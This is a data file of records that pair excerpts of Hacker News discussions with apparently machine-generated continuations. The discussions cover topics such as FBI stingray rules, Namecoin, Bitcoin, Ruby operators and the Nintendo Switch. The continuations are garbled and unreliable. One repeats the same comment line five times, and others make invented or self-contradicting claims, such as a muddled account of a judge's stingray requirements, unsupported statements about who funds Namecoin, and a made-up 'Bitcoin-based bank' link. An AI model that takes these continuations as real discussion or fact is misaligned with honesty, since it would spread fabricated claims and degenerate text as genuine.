but only started an uncontrollable process for its\ndisintegration"} +{"output_text": " use of\n> physical surveillance would be more effective.\n\nSo, the actual requirement is that law enforcement not use a cell-site\nsimulator when physical surveillance would be more effective. That's a pretty\nreasonable requirement, I think.\n\nNow, the judge then goes on to say that the FBI can't use a cell-site simulator\nif it would be more effective than physical surveillance, but that doesn't\nmean that they _can_ use it if it would be", "input_text": "anthera\nIt seems like a bad choice of domain, given the example usage. \"0x\" will be\nregularly confused with \"ox\", and ox.co is a completely different site.\n\n------\nfraXis\nWhat language / framework is the backend programmed in?\n\n~~~\nrsync\nperl.\n\nAlso: view source on any page to learn _just what kind_ of a website 0x.co is\n...\n\n------\nwcf3\nWhat does the public/private option do?\n\n~~~\nrsync\nAt some point (not now) we will present existing codes as a searchable\nresource from the outside. I haven't decided what that presentation layer will\nlook like, but the idea is that a lot of Oh By Codes will contain important or\nhelpful information and benefit from being searchable.\n\nBut some won't. So if you want to keep the content of your code\nprivate/unindexed/norobots, you would set that flag to \"private\".\n\nI think the expiration pick-list is self-explanatory, yes?\n\n------\nthde\nDo you provide a.onion address?\n\n \nFederal judge puts limits on FBI use of \u201cstingray\u201d cell site simulators - declan\nhttps://plus.google.com/+DeclanMcCullagh/posts/3gc6o6B3Pex\n======\nSniffnoy\nThe actual requirements start on page 8. Here's my summary:\n\n> First, law enforcement officers must make reasonable efforts to minimize the\n> capture of signals emitted from cell phones used by people other than the\n> target of the investigation. [...] Moreover, law enforcement officers must\n> not use a cell-site simulator when, because of the location and time,"} +{"output_text": "iceberg/)\n\n~~~\nprat\nI stand corrected.\n\n------\njellicle\nI'm not sure this is true. The AP article says:\n\n\"The CDC's immunization rates are based on a voluntary survey of doctors,\nwhich doesn't count patients who were turned away or never showed up for\ntheir appointments in the first place.\"\n\nThat's a pretty big \"never\". If you're a doctor who doesn't want to do the\nsurvey", "input_text": " certain taxes and regulations,\nwhich is generally free. Then the messaging could be \"Obama backs $200B job\ncreation effort\".\n\n~~~\nryanwaggoner\n_We spent 10X this number of bank bailouts and such. That didn't piss normal\npeople off because the messaging was that it was needed to fix the economy._\n\nI think you're out of touch. Virtually 100% of the Republicans I know were\ncompletely opposed to the bank bailouts, and a huge portion of the liberals I\nknow were as well. Almost every poll I saw showed that the majority of\nAmericans opposed bailing out Wall Street and the auto industry.\n\n------\nikitat\nSadly, this will only put a small dent in the anti-vaccination cloaked as\nautism advocacy movement.\n\n~~~\nprat\nThere aren't as many pseudo doctors as there are pseudo scientists. This bit\nof pseudoscience is not as resilient as intelligent design. I think this dent\nwill quickly kill the movement.\n\n~~~\nlbrandy\nI appreciate your optimism but I fear you haven't been following this very\nclosely. This is not the first time this guy and his work has been completely\ntossed under a bus. The antivax people have known for a LONG TIME that this\nguy was being seriously discredited and chalked it up to \"big pharma funded\"\nwitch hunting.\n\nSee for yourself: [http://www.ageofautism.com/2010/01/naked-intimidation-the-\nwa...](http://www.ageofautism.com/2010/01/naked-intimidation-the-wakefield-\ninquisition-is-only-the-tip-of-the-autism-censorship-"} +{"output_text": "com/item?id=1780755>\n\n------\njfarmer\nI've been through this process. I've been a full-time employee at a startup\nfor a year. I've also been a founder at a startup for a year. I've been a\ncontractor for a year. I've been a full-time employee at a non-startup for a\nyear. I've been a founder at a non-startup for a year.\n", "input_text": "'ll actually own your side-work and get your documents in order.\n\nFigure out a realistic assessment on how cheap you can actually live. This\nwill be different for different folks. Examine your savings. See if you can\nget some Angel Investments (know any rich people you can convince that your\nidea is good?) This analysis will tell you how long you have until you need to\nfind another job for someone else and give up. I'd be scared if this number\ncame up as less than a year.\n\nIf it is a money-making idea, and you can get some angel money (or VC, or have\na nice nest-egg), don't hesitate to hire people with the skills you don't.\nParticularly sales, marketing, and CEO. Geeks think we can fake these, and\nI've faked sales better than a salesman can fake code, but it was a mistake.\n\nIf you can do the math, see that you've given yourself enough time to develop\na product and give it a chance in the marketplace, can hire the key personnel\nand afford them, have an actual business plan - go for it! Especially if\nyou're under 30. The downside to a failed startup is actually rather small,\nand I've found people like it that I've founded a company on my resume, even\nif it didn't succeed. And if you create something people will actually pay\nfor, hey, congrats!\n\n------\neuroclydon\nFlagged: This guy just advocates lying and underhanded practices in his\ncolumn. I think it's just blog-trolling.\n\nIf it's supposed to be funny, I find the humor very elusive.\n\nHere is another post from a couple of weeks ago:\n\n CSS Variable Test\n \n \n \n\nIf I load that document in a browser that supports CSS variables, the title\nwill be blue. But if I run it through Myth, it drops the blue rule and makes\nthe title red. This is because CSS variables are inherited throughout the\ndocument and can be overridden at any time. The calculated value of the CSS\nproperty that uses the variable depends on the document structure.\n\nLikewise with calc() - if you multiply values like in their example, it works,\nbut if you try to add two values of different units (e.g. 2"} +{"output_text": "joeevans1000\nI hope the project is open source and free software.\n\n------\njoeevans1000\nI hope the project is open source and free software.\n\n------\njoeevans1000\nI hope the project is open source and free software.\n\n------\njoeevans1000\nI hope the project is open source and free software.\n\n------\njoeevans1000\nI hope the project is open source and free software", "input_text": "lightly Offtopic, are there anything similar based on FreeBSD / BSD?\n\n~~~\nnissimk\nThere are several listed here, but most of them only work on x86, not consumer\nrouters.\n\n[https://en.m.wikipedia.org/wiki/List_of_router_and_firewall_...](https://en.m.wikipedia.org/wiki/List_of_router_and_firewall_distributions)\n\n------\nchris_wot\nWhat are the benefits of using procd? And are you going to fork that also?\n\nWhat's the scope of this project - really very interested...\n\n------\nbluesign\n\"AGREED: 4/6 attendees agree to create and agenda and finding a date on the\nmailing list (jow_laptop, 13:05:51)\" [1]\n\nFirst major disagreement :)\n\n[1] [http://meetings.lede-project.org/lede-adm/2016/lede-\nadm.2016...](http://meetings.lede-project.org/lede-adm/2016/lede-\nadm.2016-03-30-11.05.html)\n\n------\nZekio\nMore of this type of projects is good, gives consumers/developers more\nchoices.\n\n~~~\npferde\nNot always. If a fork is made because some group wants to move in a different\ndirection code-wise, it's good, because it gives users more choice. However,\nif the fork is made because of administrative reasons (as it seems to be the\ncase here), then often all it does is muddy the waters and create confusion.\nWe'll see how this one plays out.\n\n------\n"} +{"output_text": ").\n\n------\njrockway\nI have a friend who works at a grocery store in a suburb of Chicago. He told\nme that the store has a policy of not accepting coupons that are more than a\nday out from expiration. This is to keep people from coming in and buying\ntons of stuff, then leaving and getting all the coupons.\n\nIt's interesting to me that this is a strategy to maximize profit, but it\nworks. The store is full of stuff", "input_text": " but that wouldn't\nbe a veggie bowl.\n\n~~~\nnate\nYes, it was for a veggie bowl. But i didn't bring the example up originally\nbecause I think the veggie bowl changed. This example was about 6 years ago\nwhen I believe those peppers and onions weren't included with the veggie bowl.\n\n------\nck2\nThat is NOT why modifying your order-in-progress works.\n\nIt works because they would rather modify why you just ordered, rather than\nyou canceling your order entirely.\n\nIt works the same way in the supermarket when I use a coupon that is one day\npast the expire date or not quite exactly the same item, etc. They don't have\nto take the coupon but they realize they CAN take it and if they don't, I will\nlikely not buy the product in the first place.\n\nIf you ask them ahead of time, before you even get the item, they can\ncircumvent you hassling them. Afterwards, it's easier to just give into you.\n\n~~~\nellimist\nI'm wondering, how does that work from the store's end? Would they still be\nable to get the coupon amount back from the manufacturer even though the\ntransaction was made past the expiration date? Do manufacturers even check\nthat?\n\n~~~\nck2\nThe store has two weeks to submit the coupons to their clearinghouse. They\nalso make (a small amount) of money on the coupon vs. you paying in cash\n(unless they do doubling where they lose).\n\nTechnically they are not supposed to accept a coupon that expired 24 or 48\nhours ago. But if you ask in the middle of checkout, you'd be surprised where\n3 out of 4 times they will say no problem (if you have a decent cashier"} +{"output_text": " chose is fine for a simple example, but in more complex\ncode you might end up using the and operator instead of the && operator, and\nthen you'll be in for a nasty surprise.\n\n------\njheriko\nthe article is a bit silly really, because the problem it is trying to solve\nhas been solved by the C preprocessor.\n\nthe C preprocessor is a bit of a mess, but it does at least let you do\neverything you need", "input_text": " have to be remembered then have we shortchanged\nourselves in mastery of a language? Warts and all?\n\n------\ndraegtun\nAlso see this blog post: _Logical operators in Perl and Ruby_\n[http://eli.thegreenplace.net/2007/06/02/logical-operators-\nin...](http://eli.thegreenplace.net/2007/06/02/logical-operators-in-perl-and-\nruby/)\n\n------\ngmac\nI knew this, but I always find it a rather disappointing choice in the\nlanguage design, as I think its capacity for inspiring bugs rather outweighs\nits usefulness (which extends as far as making some parentheses unnecessary).\n\nIn a nutshell: there are two forms of the AND and OR operators, with different\nprecedences; in many contexts, you can use them interchangeably; but in some,\nthey'll behave differently, and could bite you.\n\n------\njim_h\nI'm slow this morning. That took me a couple of minutes to get the example.\n\n'foo = 42 and foo / 2'\n\nI was expecting an undefined variable since foo was never set because I was\nthinking of it as foo = (42 and foo / 2)\n\nBasically I would write the example as this in 2 lines to avoid confusion and\nnot use 'and':\n\nfoo = 42\n\nfoo / 2\n\nMaybe another example in the article would have been better to show the power\nof 'and'.\n\n~~~\navdi\nWriting it in two lines would defeat the purpose of demonstrating the\ndifference between && and 'and'.\n\n~~~\nCodeMage\nYep, that's an important point: you should probably have chosen a different\nexample. The one you"} +{"output_text": " to believe that the project will\nbe successful. The project is not open source, and the core devs are not\naround. The project is funded by a company called Namebase, which is owned by\nKhan. Khan is a controversial figure in the crypto community. He is known for\nhis controversial statements, like \"ICANN should be abolished\". He also\npromotes the \"ICANN is evil\" narrative.\n\n~~~\nappleflaxen\nI'm not sure", "input_text": "\n\"On October 15, 2013, a major flaw in the namecoin protocol was revealed by\nthe Kraken exchange COO, Michael Gr\u00f8nager. The exploit allowed any user to\nfreely steal any domain from any other user.[34] A temporary fix was deployed\nwhich prevents fraudulent name transactions from affecting the name database\nwithout requiring miner intervention, and a long-term fix which rejects blocks\ncontaining such transactions is scheduled for block 150,000 if a majority of\nminers upgrade.[35]\"\n\nWell, I'm sure stoked that we're building the future infrastructure of the Net\non something that we're pretty sure doesn't have a ginormous security hole\n_anymore_...\n\n------\nFredericJ\nIf you don't know about Namecoin here are too additional ressources you might\nwant to check out: \"OkTurtles + DNSChain\" (working Namecoin + DNS\nimplementation): [http://okturtles.com/](http://okturtles.com/) and \"Providing\nbetter confidentiality and authentication on the Internet using Namecoin and\nMinimaLT\" :\n[https://github.com/FredericJacobs/safeweb/blob/master/paper....](https://github.com/FredericJacobs/safeweb/blob/master/paper.pdf?raw=true)\n\n------\nbachback\nThere are currently 1-2 developers working on Namecoin (mostly Khan, another\ncore developer died recently). Namecoin itself has quite a few issues. The\ndesign is only the beginning.\n\n~~~\nappleflaxen\nCan you elaborate on the issues you allude to? The \"criticism\" section on\nwikipedia is pretty thin.\n\n~~~\nbachback\nwell, at the moment there is not much reason"} +{"output_text": " are taking their money out in bitcoin. People in the USA are\ntaking their money out in bitcoin.\n\nThe only currency that can be taken from you is Bitcoin.\n\n~~~\nnileshtrivedi\nYou can avoid the KYC/AML by using a Bitcoin-based bank.\n\n[https://www.bitcoinbank.org/](https://www.bitcoinbank.org/)\n\n~~~\nHashThis\nThat's not a currency. It's a", "input_text": " with known\npublic key, due to either the formerly popular Pay-to-Public-Key script, or\nthe ever popular practice of addresses re-use that you also mentioned.\n\n------\nquocble\nAside from the flaws of the article, there are something to be said about how\ncentralized bitcoin has become. Most of the bitcoins are held by centralized\nexchanges, or \"qualified\" custodian (locked up in ETF and other exchanges).\nThey essentially act like centralized banks, the exact thing we're trying to\navoid. The only saving grace is we can send to native wallet, giving us some\nfreedom from the institutions.\n\n------\nHashThis\nThis is how Bitcoin ends up...\n\n* Bitcoin and Ethereum are grandfathered into not requiring KYC and AML. They are the rare currency with zero friction.\n\n* All new currencies require KYC and AML. This is happening right now\n\n* Other currencies can have some positives (backed by revenue generating assets, etc.). But they can be confiscated by governments\n\n* Bitcoin always has a place, as the zero friction, no-KYC currency.\n\nEXAMPLE: I did a wire transfer from the USA to India. Since it was sent in\nIndian rupees, the receiving bank kept rejecting it. They claimed it didn't\npass AML. The real reason is that they wanted to take huge fees for the USD to\nRupees conversion on their receiving side. So they kept rejecting it, until it\nis sent in US Dollars and they can scalp me on the conversion rate. I had 8\nweeks of failed transfers.\n\nThat AML hostage taking can happen across all currencies BUT Bitcoin and\nEthereum.\n\nIn the future, people in China are taking their money out in bitcoin. People\nacross Africa"} +{"output_text": " a certain perspective is a very interesting place.\n\n------\njokoon\nI think a better solution would be to have a basic income, but with a tax\nbracket of 50%, and a cap on how much you can save. That way, people who\nreally need the money can get it, and those who don't need it can still have\nmoney, but not all of it.\n\n~~~\ndanenania\nThat's basically the idea behind negative income tax.", "input_text": "oral people in politics to begin promising to\nraise the basic income more than the next politician will, reducing all\npolicymaking to a race to bribe the populace, so that they'll ignore all the\nother amoral things the politicians are doing?\n\n~~~\ndanenania\nAt least they'd be bribing the populace rather than the wealthy.\n\n~~~\npjlegato\nThe wealthy would still get bribed, and a lot more than the pittance that the\npopulace would get.\n\n------\nnotacoward\nReminds me a bit of an experience I had at an event around 2000 or so. Most of\nthe folks there were heavily academic, but at lunch I found myself sitting\nwith one of the organizers who was clearly cut from different cloth, so I\nasked what he did the rest of the year. After a couple of rounds of vague\nresponses about how he helped companies use email to get in touch with\npotential customers, it finally dawned on me that I was sitting at the table\nwith a SPAMMER. Pretty much lost my appetite at that point.\n\nMy takeaway is that spammers, malware authors, even identity thieves, are\namong us. They can seem like perfectly nice people. They might even _be_\nperfectly nice people except for this one bad habit, this one ethical blind\nspot, that enables them to do things from which the rest of us would recoil in\ndisgust. The company in this story might be an extreme case, but I'll bet a\nlot of people asking \"how could they not know\" have themselves worked at\ncompanies that made at least some of their money in less savory ways.\nSometimes it might be why that company survived while contemporaries faded\naway. Silicon Valley from"} +{"output_text": "why not use it for this and that, and I'll just put it there\".\n\n------\njrochkind1\nI don't know about you, but I find it hard to believe that google is actually\nmore likely to sell my data than some other company.\n\nMaybe they are, but it seems like a pretty crazy story.\n\n~~~\njzwinck\nIt's not a story. It's a feature.\n\nGoogle is collecting data about the", "input_text": " Google to help determine whether the site or download is harmful. -\n[https://www.google.com/chrome/browser/privacy/](https://www.google.com/chrome/browser/privacy/)\n\n[2]\n[https://news.ycombinator.com/item?id=7562074](https://news.ycombinator.com/item?id=7562074)\n\n~~~\nbeagle3\n> You do realize that the scanning is meant for checking the links for\n> malware, redirection and metadata for previews. Which popular chat service\n> doesn't do this? Paste a link into Facebook, Google+, Gchat and all are\n> likely to do the same or the least passively scan it against a list of known\n> malwares.\n\nThe first time I noticed Microsoft was doing it, was not long after the skype\npurchase and moving to a centralized comm model; gchat for sure was not at the\ntime, and decentralized skype wasn't either. Furthermore, following that chat,\nBing started scanning a server that was not linked from anywhere on the\ninternet. I find the correlation more than suspicious.\n\nAnecdotal, but skype ads on a friend's computer tend to reflect chat subjects\n- which is NOT just \"malware protection\". I wouldn't know - I only use it with\nan iPhone 4 and its old adless client when I do.\n\n> I thought it was common sense by now that if you have something sensitive to\n> share do NOT use a cloud based chat or repository!\n\nI thought it would be too. But I keep meeting people who have the general idea\nthat \"well, all my email is already on gmail/the cloud, and it's working ok -\n"} +{"output_text": " needed to make it good) it\nwouldn't sell.\n\n~~~\nmikemoka\nI think it's too late for me to buy it, but I'm curious about the hardware\nanyway. Is it a low powered device?\n\n~~~\nlegulere\nI don't know about the hardware but the UI is probably the main reason why I\ndon't want to buy it.\n\n------\njoeblau\nI'm a little confused by", "input_text": " mobile devices.\n\n __FREE OS __FOR YOUR PHONE\n\nUhh, okay? Oh, and the video shows that the phone is basically an Android\nclone. Great.\n\nI can't talk about the other person, but if I'm being negative it's because\nthis has a really hype-ey 6-minute trailer advertising nothing of interest.\nRule of thumb: Your trailer should never be more than two minutes, because\notherwise it's probably _really damn slow_, and frankly a minute is pushing\nit.\n\n~~~\nwvh\nThis is not a marketing video. It mostly shows how Qt apps work with little or\nno modification, and that it is possible to use existing software with minimal\nadaptation. I think it is interesting because if a few people can make a\nusable prototype with some effort, there is hope that some more people and\neffort can actually produce a reasonably nice open-source mobile system to\nbuild on; that a phone running on open-source software is not an impossible or\nfar-fetched idea.\n\n------\nGiorgi\nwho is target market for this? No-one?\n\n------\nExuma\nThis has got to be the worst phone UI i've ever seen. Can someone answer why\nthis is special?\n\n------\nmiguelrochefort\nWhy does this even exist?\n\nThis must be some of the worst UI/UX I've seen in a while.\n\n------\njasimq\nI don't think the website is marketing the phone correctly. It should be\nreally telling my I would want this phone over others.\n\n------\nlegulere\nToo little and too late.\n\nEven if the GUI would be perfect and much better than android or iOS (which I\ngreatly doubt, simply because of the man hours"} +{"output_text": "big step up from the 2DS.\n\n~~~\nTouche\n> I am a bit underwhelmed by the decision to compromise the usability of the\n> right Joycon - moving the analog stick below the digital buttons is\n> certainly bad for US/European bigger hands, bad for ergonomic reasons, an\n> unreasonable trade off.\n\nI'm pretty sure the right joycon is designed for right handed players. I\nbelieve the vast majority of players are right handed", "input_text": " microSD cards that people tend to buy?\n\n\\-- edit Another benefit is not having to install/uninstall the game to manage\nspace\n\n------\nfrik\nThe Nintendo Switch seems like a nice tablet form factor game console.\n\nI am a bit underwhelmed by their decision to compromise the usability of the\nright Joycon - moving the analog stick below the digital buttons is certainly\nbad for US/European bigger hands, bad for ergonomic reasons, an unreasonable\ntrade off.\n\nI am underwhelmed by their decision to add no additional fan to the Dock. It's\njust s piece of very cheap locking plastic that might scratches your screen.\nIt could have cooled the Switch and get out more performance out of the GPU\n(now they have to underclock it).\n\nI am a bit underwhelmed by the Joycon grip, that is not very ergonomic for\nlarger hand, and is just a piece of cheap plastic. The Pro controller looks\ngood, but it costs extra $ 70 ($ 20 mote than PS4/X1).\n\nI am a bit underwhelmed that the Joycons have no analog trigger buttons.\nAlready with Wii U the analog triggers were greatly missed in e.g. Lego City\nUndercover, the car acceleration was all or nothing which pales compared to\nGTA gameplay on PS4/X1/PC.\n\nI am a bit underwhelmed about the tear down, while good executed it lacked the\nfinal tear down and analytics of the core components like the \"haptics engine\"\nand the SoC board incl ARM chips.\n\nI am looking forward to a revised model at the end of 2017 that fixes things.\nMaybe even a XL or XS version would be great - like the New 3DS XL which was a\n"} +{"output_text": ".\n\n \n\nAsk HN: How to find a good Android developer? - pvsukale1\n\nI am looking for a good Android developer who can build an app for me. I am a developer with a few apps on the app store. I am looking for someone who can build an app for me. I am looking for someone who can build an app similar to the one in the picture below. I am looking for someone who can build an app similar to the one in the picture", "input_text": "'s\nstill useful despite the havoc the developers inflict on the app)\n\n~~~\nRandoSTDev\nST dev for Windows here. How many repo do you typically work with at once?\nWould it help to show the \"ahead/behind\" indications in the tab headers?\n\n~~~\nsocialist_coder\nDude, you gotta fix the little arrows that let you scroll the tab bar. Each\nclick just scrolls it like 10% of a tab so it takes 10 clicks to move it 1\ntab. This is ridiculous.\n\nPersonally, I have a 2560x1440 monitor and I keep ST on it fullscreen. I\nusually have ~7 repos open but sometimes need to open up to 15. I can fit 11\ntabs but look at how much wasted space is in each tab:\n[https://www.screencast.com/t/vKrSNe5APy](https://www.screencast.com/t/vKrSNe5APy)\n\nOn the older version of ST, like 1.5 or something, the tabs were only as big\nas the name of the repo so each tab was much smaller. This worked great.\n\nAlternatively, make the tabs just add extra rows so instead of having a\nscrolling list, the tab bar grows vertically instead.\n\n------\nxtf\nWhen it will be available for Windows 3.11? SCNR\n\n~~~\nagumonkey\nGod I thought it was the source tree of MS Windows 2.x. So disappointed.\n#grammar\n\n~~~\ndjsumdog\nI could tell what they were saying, but my inner grammar Nazi kicked in as\nwell.\n\n~~~\nagumonkey\nI wasn't into grammar nazi mode, more nostalgia"} +{"output_text": "otyping board and use a regular Arduino.\n\n------\njoe_adk\nI'm a big fan of the Arduino platform and I think it's great that they're\noffering more powerful boards. However, I think the pricing structure is\nconfusing and in my opinion, not very good marketing.\n\nThe $10 board is essentially the same as the $6 board except it has a\nprogrammer-supported SPI port and a few other nice features. The", "input_text": " of microcontroller/embedded development right now and\ndevices are coming out faster than people can fully learn to appreciate them\n(Commodore 64 junkie). It's probably best to pick the platform that has the\nstrongest support community or the one you know the components of the best.\n\n------\nsigkill\nYou used to be able to hack on the arduino without needing SMD components and\na reflow station. Electronics newbies don't have those and arduino was\ntargeted towards them. Now, they've become a component supplier, since you\ncan't buy your own chips and hack a board on your own if you don't have an\netched PCB or someway to get that. I love the libraries and platform but in\nthe quest for more power (Mega, Due, SMD based arduinos etc.) I don't like the\nfact that they're shunning newbies.\n\n~~~\ntdicola\nI used to think the same thing, but really most SMD soldering isn't that\ndifficult with some practice and a nice fine point soldering iron. Check out\nDave Jone's videos at the EEVBlog, he has some great ones on SMD soldering\nlike [http://www.eevblog.com/2011/07/18/eevblog-186-soldering-\ntuto...](http://www.eevblog.com/2011/07/18/eevblog-186-soldering-tutorial-\npart-3-surface-mount/)\n\nAlso just because an Arduino board is built with SMD or very small components\ndoesn't mean a user has to do the same thing. This board has the same headers\nfor input/output as any other Arduino so you can attach existing shields, put\non a prot"} +{"output_text": " Lack of growth opportunities \u2013 As an IC designer, I\u2019ve been able to grow and learn as the company I work for has grown. Will this not be the case with software? Will I be stuck in a company/industry that I can\u2019t leave? Will I be stuck in a city that doesn\u2019t have the growth that I\u2019d like to see?

4. Lack of growth opportunities \u2013 As an IC designer, I\u2019ve been able", "input_text": " inherently bad or malicious.\n\nCan we have better writing and reporting instead of these emotionaly-driven\npieces?\n\n~~~\nThorrez\n>And yes LLC need not to disclose the name of their unitholders\n(shareholders). So what? That is not a problem.\n\nWhy isn't it a problem?\n\n> Tenants can\u2019t figure out to whom to complain when something goes wrong.\n> Local officials don\u2019t know whom to hold responsible for code violations and\n> neighborhood blight.\n\nThat seems like a problem to me.\n\n \nAsk HN: Are there any other CPU designers here? - hnu0847\nAre there any other CPU designers here? If so, I\u2019d be curious to hear your thoughts on the industry. I\u2019ve been working as a CPU designer for several years and as I\u2019ve watched the growth of the tech sector during this time, I can\u2019t help but wonder if I should switch to software engineering. My reasons are:

1. Limited choice of employers and cities \u2013 The semiconductor industry has been consolidating over the last several years, and the trend seems likely to continue. Consequently, there are currently only a handful of tech giants designing ICs. Jobs seem limited to a few major cities. SWE jobs can be found in most large cities across a range of company sizes.

2. Lack of startup/solo opportunities \u2013 SWE seems to offer many opportunities to found/join a startup or work as an independent contractor. CPU design seems to have far fewer of these opportunities, likely due to the much higher capital requirements. Will the tech sector\u2019s current interest in AI/ML lead to many more startups in CPU design, as it has done for software design?

3."} +{"output_text": " to\nfind out.\n\n~~~\nslyall\nI'm not sure if I feel strongly about it, but I do feel that I have a right to\nbe angry about this.\n\nI am a developer with a business and a family. I have a business that is\nprobably going to be shut down in a few months. I have a family that I have to\nexplain to.\n\nI have worked very hard to build up a business and a reputation.", "input_text": "uma\n> What incentive would they possibly have to not have an export option to let\n> users take their content away?\n\nWrong question. What incentive would they possibly have to have an export\noption? If they're going to disappear, what makes you expect that the most\nlikely scenario involves them helping users transition when the vast majority\nof startups haven't done this?\n\nYou can be happy if you get some advance notice that the service is going to\nshut down. Getting advance notice AND the option to export your data AND that\ndata being in some remotely useful format is hitting the jackpot.\n\n~~~\nFuturebot\nMedium already has an export feature. If you're arguing that they may take it\naway (which I think is vanishingly unlikely), then that's another thing\nentirely. The feature is there, though, so incentives about building one don't\nseem relevant to the discussion.\n\n~~~\nslyall\nBut even if you can get all your articles and re-upload them (and they look\nnice still) the URLs will change so anything that links to your channel or\nindividual articles is going to break.\n\n------\npc86\n> _So I suggested he post the comment to a blog so I could give it greater\n> circulation by pushing it through my network._\n\n> _In the back of my mind I thought that he 'll probably put it on Medium.\n>..._\n\n> _Well, he did put it on Medium and sent me a link, and I sent back a comment\n> saying that I was worried he 'd do that, and unfortunately while I love his\n> post I am reluctant to point to it on Medium._\n\nWhat an ass.\n\nIf you feel that strongly about it, say something up front. But don't wait"} +{"output_text": ".\n\nMozilla is a far cry from the bigoted organisation that was Mozilla in the\nearly days.\n\n~~~\nmillietaintaint\nI know that. I am not saying it is a good thing. I am saying that it is\ninconceivable that his colleagues did not know about his bigotry and the\nfinancial support he gives to similarly bigoted organisations.\n\n~~~\nTazeTSchnitzel\nI think it's very reasonable to", "input_text": " Sandboxing\netc.) and in many cases appears to be faster - but I don't trust an\nadvertising company with my browser.\n\nI think we need a fresh contender - an open browser, built from the start with\nan understanding of the security and privacy lessons we have learned over the\nlast 30 years. I'm not sure how realistic that dream is, but I believe it is\nworth the thought.\n\n~~~\npakled_engineer\nServo is that project, when it's beta I'll go back to Mozilla as I feel like\nI'm ushering in the Stallman dystopia by supporting proprietary software. I\ndumped FF when they almost cloned Chrome's UI. If I'm going to use the same UI\nmight as well apt-get install browser-chromium and get a sandbox with it.\n\n------\nmillietaint\nI dumped Firefox ages ago, when I first heard of Eich's hatred towards the gay\nand lesbian community.\n\nIt is inconceivable that his colleagues at Mozilla did not know about his\nbigoted beliefs and the financial support he gives to similarly bigoted\norganisations. Yet they decided he was the best person to run Mozilla, a\ncompany that only pays lip service to equal rights - clearly at the top levels\nof management it is a vile, homophobic, racist organisation.\n\nThere is no way I am using a homophobic web browser on any of my desktops, so\noff it went.\n\nI now happily use Safari for my everyday browsing, knowing that Apple is in\nthe safe hands of Tim Cook, a proud gay man who I admire greatly.\n\n~~~\nTazeTSchnitzel\nEich resigned less than two weeks after being made CEO after the outcry from\nboth outside and within Mozilla"} +{"output_text": " seems to be a trend to make people scroll down.\n\n~~~\nldh\nI'm not sure if I agree with your characterization of the \"click to enter\"\npage. I think it was just as absurd as this one, and I think I would have\nthought the same thing if I was that guy.\n\nI think the trend is that sites are adding more and more CSS and JavaScript to\nmake their site look good. The trend started with \"click to enter\"", "input_text": ".\n\n------\nozh\nlots of readability issues on this page. Purple tiny text on black background\n!= easy to read.\n\n------\nabvdasker\nDefinitely going to give this a try. I really appreciate the apparent\nsimplicity and creativity of this tool. It avoids the need to learn the odd\nsyntax of LESS/Sass for those of us who need reliable cross-browser support\nwhile providing many (though not all) of the benefits of precompilers.\n\nSeriously great work.\n\n------\nlstamour\nLong-term I'm not sure how well this will work.\n\nAfter all, SCSS was based on \"CSS3\" so we wouldn't have to rewrite our CSS.\nIt's still around... so we don't have to rewrite our SCSS.\n\nI'm happy to see innovation here, but I also wish IE would just auto-update\nalready. :D\n\n------\niLoch\nMan I really hate when the creator of the site expects me to scroll down. I\nhave a 1080p monitor, if I can't see any content at that height I have to\nassume there isn't any.\n\n~~~\nldh\nAgreed. It seems to be a design trend that's on the upswing lately, and it's\nfrustrating. I encountered a mobile site yesterday that did that... to me it's\nthe equivalent of the \"click to enter\" home page of bygone days. Uh, no\nthanks.\n\n~~~\njonesetc\nI honestly can't tell if your guys are being serious. Click to enter was\nabsurd because they were page loads just for the sake of page loads. Scrolling\ndown is just spacing out your content to get a visual feel. This one in\nparticular"} +{"output_text": "Reading is a luxury. >/\n\nNot for most of us. Reading is a necessity for many, many people.\n\n> _Better stuff has brutally shown that books were truly appealing to only a\n> few._\n\nBooks were appealing to everyone, and still are. It's just that the \"average\nperson\" (in the US, at least) has never had the means, time, money, social\nposition, etc to enjoy them.\n\nNowadays", "input_text": " give everything to that book for whatever period of time you want\nto read it for.\n\nI am watching Chopped, skimming articles like this one, I just stepped up mid-\ntyping that last bit to help my wife with something and finally I'm\nprogramming. I was interrupted again after finishing that sentence.\n\nReading is a luxury.\n\n~~~\ncalinet6\nI think the point is that _attention_ is a luxury.\n\nThese days, the currency is attention. The amount of attention required for\nreading of any substance is very high, and with thousands of apps, sites,\nshows, brands, and everything else pulling at us in a way that's engineered to\nbe ideally visceral and tailored to our animal impulses, the lack of attention\nleft over is no surprise.\n\n------\narihant\nHard to see problem with this behavior. It is the same reason we don't ride\nhorses to work anymore - better stuff available.\n\nWe didn't read at all, then we read leaves, then we read scrolls, then we read\nbooks, now we read the internet. Books have been around for extremely small\npercentage of our species' span. Moreover before the internet, the general\npublic showed more interest in reading up more current affairs/entertainment\nthan traditional books. Newspapers and magazine numbers are still strong.\n\nFrankly, I would rather have a race of people reading up on general knowledge\nand keep themselves aware than a race of people wasting time trying to read\nstory books just to fit in. It is not that the books have been replaced.\nBetter stuff has brutally shown that books were truly appealing to only a few.\nIf, given chance, most people flea, it is a failed product.\n\n~~~\ncoldtea\n> _"} +{"output_text": ", too, someday.\"_\n\n------\njoe_the_user\nI'm not sure that sending astronauts to the moon was a good idea. It was a\ngood idea in the time of the Apollo program, but the US was in a position to\ndominate space exploration by virtue of its military superiority. The Soviets\nwere still building up a space program and the US was able to keep them at\nbay. Now the US is in a position to dominate space exploration", "input_text": ", I would happily die on Mars.\n\nI'm in my early 20's and I have big plans and dreams here on Earth. I would\ndrop them instantly for the chance to go to Mars, one way trip or no.\n\n------\nhandzhiev\nI wonder how many of the people who say they are ready to go, imagine what it\nreally is going to be. I think it won't be glorious. It might be exciting at\nfirst but if you have the chance to live there more than few months it will\nturn into rather lonely and hard experience. You won't have the internet or\nother communications. You won't have your favorite beer, or most probably any\nbeer at all. Chances are you'd say good-bye to sex/love relationships, to your\nparents and friends forever, to the Earth weather and green grass... You get\nthe idea. I know it sounds romantic and glorious when you are 20 years old or\nso, but I hope everyone who thinks they are ready to go, really is.\n\n------\nfjarlq\nI don't like it. Let's go all the way and make bringing the crew back safely\npart of the challenge. It will be more rewarding because it's more difficult.\n\n _\"I believe that this nation should commit itself to achieving the goal,\nbefore this decade is out, of landing a man on the moon and returning him\nsafely to Earth.\"_\n\n _\"We choose to go to the moon in this decade, and do the other things -- not\nbecause they are easy; but because they are hard; because that goal will serve\nto organize and measure the best of our energies and skills; because that\nchallenge is one that we're willing to accept; one we are unwilling to\npostpone, and one we intend to win -- and the others"} +{"output_text": "\nthe same result for any initial choice.\n\n~~~\nSmaug123\nYeah, I guess it's a bit like a magic trick.\n\n------\njancsika\n> The shell is not a programming language, and it doesn't have a parser.\n\nI think this is a very important point. The shell is not a programming\nlanguage because it's not designed with the goal of being a programming\nlanguage in mind.\n\nThe goal of the 